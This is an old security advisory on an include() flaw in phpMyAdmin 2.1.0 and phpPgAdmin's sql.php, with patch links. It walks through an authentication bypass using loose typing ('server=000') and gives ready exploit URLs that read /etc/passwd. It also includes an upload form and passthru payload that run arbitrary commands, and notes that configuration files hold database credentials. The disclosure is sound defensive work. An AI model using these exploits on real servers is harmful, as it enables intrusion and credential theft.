COMMAND
phpMyAdmin and phpPgAdmin
SYSTEMS AFFECTED
phpMyAdmin 2.1.0
phpPgAdmin below 2.3
PROBLEM
Following is based on a Secure Reality Security Pre-Advisory
SRPRE00001 and Security Advisory #8 SRADV00008. phpMyAdmin is an
easy to use web based administration interface for MySQL written
in PHP. It was written by Tobias Ratschiller, author of several
PHP textbooks, regular speaker on PHP and prominent member of the
PHP community. phpMyAdmin is extremely popular and very
widespread (site rankings show it almost as popular as PHP
itself) since it makes most MySQL administration tasks much
easier.
A further indication of its popularity is the fact that is has
since been ported (largely by independent development) from MySQL
to also work on PostgreSQL as a separate product called
phpPgAdmin.
phpMyAdmin (and phpPgAdmin by its common code base) makes insecure
calls to the PHP function include(). Installations of the versions
specified are vulnerable to attacks in which the attacker gains
the ability to execute arbitrary commands (and code) on the remote
web server with the permissions of the web server user, typically
'nobody'. Please note that enabling 'Advanced Authentication'
does _NOT_ prevent this attack. Given command execution ability
the attacker also gains the ability to read the configuration
files of the installation, thereby gaining database credentials.
The problem is spotted initially with a trivial grep of the
source. The following line of code in sql.php seems suspicious:
include($goto);
The include() function tells PHP to read in the file specified in
the variable $goto and interpret it as though it were PHP code.
If the attacker can affect $goto (with form input) they may be
able to point this at sensitive local files (e.g /etc/passwd) and
have them returned or even worse, have their own PHP interpreted
which allows them to run arbitrary code.
Looking at the context around this code:
4 require("lib.inc.php");
5 $no_require = true;
6
7
8 if(isset($goto) && $goto == "sql.php")
9 {
10 $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".urlencode($sql_query);
11 }
12
13 // Go back to further page if table should not be dropped
14 if(isset($btnDrop) && $btnDrop == $strNo)
15 {
16 if(file_exists($goto))
17 include($goto);
18 else
19 Header("Location: $goto");
20 exit;
21 }
sql.php is normally used by phpMyAdmin to perform freeform SQL
queries (usually select statements), its also used to drop and
empty tables. For drop and empty actions the page is designed to
first confirm the action (with an 'Are you sure?' type page) then
perform the action and return the user to an application defined
page. The code we are looking at above is the code to determine
if the person said no to the 'Are you sure?' and if so, to return
them to the page where they began.
So, the user enters this page by following a link somewhere else
in the application. The link has as form input, amongst other
things, the $goto variable set to an appropriate place to return
to once the action is completed (or cancelled as the case may be).
Line 4 includes some sort of library code (presumably
configuration information too). Then lines 8-11 redefine $goto
to include form information if the page set to return to is
sql.php itself. Line 14 checks if the form input contains the
variable $btnDrop (which is the form button usually used to select
'Yes' or 'No' at the confirmation prompt). If the input does
contain $btnDrop and it is set to 'No' in the language phpMyAdmin
is using ($strNo) sql.php assumes the user has just clicked No to
a drop/clear action and begins processing code to return them to
the page they came from. Line 16 looks at the $goto variable
(which is set as described above in the link used to get to
sql.php to set a page to return to), it attempts to be intelligent
and if that page is found on the local system (file_exists($goto))
include()s the file for interpretation by PHP instead of
redirecting the browser (as on line 19).
This code is undoubtedly vulnerable. The variable $goto is MEANT
to be set by the remote web browser in form input and can be
pointed at any local file the attacker wishes. So as a first
attempt the attacker might surf in their web browser to:
http://<vulnerable host>/phpMyAdmin/sql.php?btnDrop=No&goto=/etc/passwd
which might be expected to return the text of the password file
on the remote machine. Unfortunately, in most cases this won't
actually succeed and instead a username and password box will pop
up. This is the 'Advanced authentication' configuration for
phpMyAdmin. phpMyAdmin is not designed for use on the Internet
(this is stated in the documentation) and in its most basic
configuration users do not have to log in, they simply have to
know the url of the installation. In this configuration a set of
MySQL credentials are stored in a configuration file and all
users of the application share those credentials. This is
obviously a bad thing, both on an Intranet and the Internet. Thus
later versions supply an 'Advanced authentication' configuration
that forces users to login using a MySQL username and password
and their access is limited to the access of those credentials.
Even though the documentation states phpMyAdmin should not be used
on the Internet many users have done so, relying on the Advanced
authentication to prevent anonymous users accessing the databases.
So, presumably the attacker doesn't have credentials on the
remote databases which means they will need a way around this
authentication. Remember line 4 of sql.php which included
lib.inc.php? Obviously this authentication must be happening
somewhere inside there so here's some context:
4 require("config.inc.php");
... definition of a few utility functions
102 reset($cfgServers);
103 while(list($key, $val) = each($cfgServers))
104 {
105 // Don't use servers with no hostname
106 if (empty($val['host']))
107 unset($cfgServers[$key]);
108 }
109
110 if(empty($server) || !isset($cfgServers[$server]) ||
!is_array($cfgServers[$server]))
111 $server = $cfgServerDefault;
112
113 if($server == 0)
114 {
115 // If no server is selected, make sure that $cfgServer is empty
116 // (so that nothing will work), and skip server authentication.
117 // We do NOT exit here, but continue on without logging into
118 // any server. This way, the welcome page will still come up
119 // (with no server info) and present a choice of servers in the
120 // case that there are multiple servers and '$cfgServerDefault = 0'
121 // is set.
122 $cfgServer = array();
123 }
124 else
125 {
126 // Otherwise, set up $cfgServer and do the usual login stuff.
127 $cfgServer = $cfgServers[$server];
Line 4 includes some sort of configuration information from
config.inc.php. Line 102 goes on to enumerate an array called
$cfgServers (which presumably is set in config.inc.php) and
removes any entries that don't have a 'host' element (which
implies the array is two dimensional, arrays in PHP are
associative). Line 110 then checks if the variable $server is ''
or if $cfgServers[$server] isn't set or isn't itself an array, if
any of those conditions are true $server is set to
$cfgServerDefault. Finally the code checks if $server is 0, if
it is then (as the comment specified) authentication is completely
skipped, obviously something the attacker would appreciate.
Ok, so what does this mean? phpMyAdmin can be configured to manage
several different MySQL servers. In this case, before demanding a
login, it provides a select box for the user to select which MySQL
server they want to manage. The code around line 103 removes
misconfigured servers. The code around line 110 checks the users
selection, if it isn't in the list of configured servers the
server is set to $cfgServerDefault (a default server). Finally in
line 113 the program checks if no server has yet been selected,
and if 0 has been selected it doesn't force a login based on the
assumption the user must be at the main index about to choose a
server. It shouldn't matter anyway, since the user hasn't
provided credentials for a database the application won't connect
anywhere so from the applications point of view there is no
security issue in allowing pages to execute while not connected
to a database. However, the attacker is attacking the application
and not the database.
Given the above, the attacker obviously wants to set $server to 0
so that authentication will be skipped. But this doesn't work
(in most situations). Looking at some context from
config.inc.php:
9 // The $cfgServers array starts with $cfgServers[1]. Do not use $cfgServers[0].
10 // You can disable a server config entry by setting host to ''.
11 $cfgServers[1]['host'] = 'localhost'; // MySQL hostname
12 $cfgServers[1]['port'] = ''; // MySQL port - leave blank for default port
13 $cfgServers[1]['adv_auth'] = true; // Use advanced authentic ation?
... more cfgServers[] entries ...
41 // If you have more than one server configured, you can set $cfgServerDefault
42 // to any one of them to autoconnect to that server when phpMyAdmin is started,
43 // or set it to 0 to be given a list of servers without logging in
44 // If you have only one server configured, $cfgServerDefault *MUST* be
45 // set to that server.
46 $cfgServerDefault = 1; // Default server (0=no default server)
47 $cfgServer = '';
48 unset($cfgServers[0]);
Line 48 above deliberately forces cfgServers[0] to be unset.
This means that if an attacker sets $server = 0 the
!isset($cfgServers[$server]) clause of the if statment on line
110 of lib.inc.php will evalutate to true and $server will be set
to $cfgServerDefault. As the comment on line 41 above indicates
$cfgServerDefault is usually set to a specific server (in almost
all installations). So the attacker still needs a way to set
$server = 0 without triggering the if statement that evaluates
cfgServers[$server] and resets it to the default.
The answer to this is in loose typing. $server simply needs to
evaluate to the _numeric_ value 0. It doesn't have to be '0',
just evaluate to 0. Many different strings evaluate to 0, for
example '', '0', '00'. So the attacker needs to set $server to
some value that evaluates to 0 and insure that the array entry
$cfgServers[$server]['host'] is set. Note that the config.inc.php
code never EMPTIES the cfgServers array, this means that an
attacker can submit as form input entries for this array. Take
for example the $server value '000'. This value evaluates to 0
in a numeric context. The attacker can now create as form input
$cfgServers[000][host]=hello. Remember that PHP arrays are
associative (that is, the index is a string), thus
$cfgServers[000] is NOT the same as cfgServers[0].
Given the above, the attacker might try the following in their web
browser:
http://<vulnerable host>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd
Sure enough, all the tests are passed and the passwd file of the
remote server is returned in a web page, straight through the
firewall and past the IDS.
Now, the attacker is unlikely to be satisfied with simply being
able to read files on the remote web server, they're goal is to
execute commands. They have the ability to include any file they
wish to be executed as PHP, they simply need to get some PHP code
of their choosing into a file on the remote machine. There are
many ways to do this in PHP (see our paper for more information)
but the most obvious one is file upload. Take the following form:
<FORM ENCTYPE="multipart/form-data" ACTION="http://<vulnerable host>/phpMyAdmin/sql.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000">
PHP File to be executed: <INPUT NAME="goto" TYPE="file">
<INPUT TYPE="hidden" NAME="cfgServers[000][host]" VALUE="hello">
<INPUT TYPE="hidden" NAME="server" VALUE="000">
<INPUT TYPE="hidden" NAME="btnDrop" VALUE="No">
<INPUT TYPE="submit" VALUE="Send File">
If saved into a file and loaded into a web browser it brings up a
form asking for a file containing PHP code to be executed on the
remote web server. The user can click the 'Browse' button and
pick any file they wish. When the user clicks 'Send File' that
file is uploaded to the remote web server. As default PHP
functionality, it automatically accepts that file (even though
sql.php does not process file uploads) and saves it on the local
disk of the web server, it then sets the location of the file in
the variable $goto (e.g '/tmp/phpxXuoXG') and sets the variables
$server, $btnDrop, $cfgServers[000] as needed for the exploit.
All the tests are again passed but now instead of reading a file
that was already local the local file is one the attacker has
just uploaded. If the file contained the following for example:
<?php
passthru("ls /etc");
?>
a directory listing of the /etc/ directory on the remote web
server would be returned to the attackers web browser. Obviously
any command could be specified and further exploit code could be
uploaded and executed as described in 'A Study In Scarlet'.
The attacker can also gain further assistance by reading the
contents of config.inc. php. In Advanced authentication
installations it contains database credentials for each database
to be administered using phpMyAdmin. The credentials must be
able to read the priviliges in the mysql database. This means
allows an attacker to easily gain access to the encrypted
password hashes of all the users on each MySQL installation.
Further, most installations actually place the MySQL root user
credentials in this file to save effort of creating a new user
with select privileges on mysql.*.
The attack on phpPgAdmin is a slight variation on the one
detailed above. This is because phpPgAdmin is based on an older
version of phpMyAdmin. The attacker simply needs to set $LIB_INC
to 1 to prevent lib.inc.php being included at all without having
to fool the application into believing the user is yet to select
a server. That is, an attack like the following works:
http://<vulnerable host>/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/passwd
As always with PHP there are many caveats to the attacks details
in this advisory based on PHP configuration and version.
SOLUTION
phpPgAdmin 2.2.1:
http://www.securereality.com.au/patches/phpPgAdmin-SecureReality.diff
phpMyAdmin 2.2.0:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
Development of phpMyAdmin has been continued by an independent and
unauthorized (as yet) group of developers who have released a new
version that contains fixes for this problem. You can upgrade to
their version (2.2.0pre5) from:
http://sourceforge.net/project/showfiles.php?group_id=23067
The developers of phpPgAdmin have patched later versions to fix
this problem. Please download the fixed version from:
ftp://ftp.greatbridge.org/pub/phppgadmin/stable/phpPgAdmin_2-3.tar.gz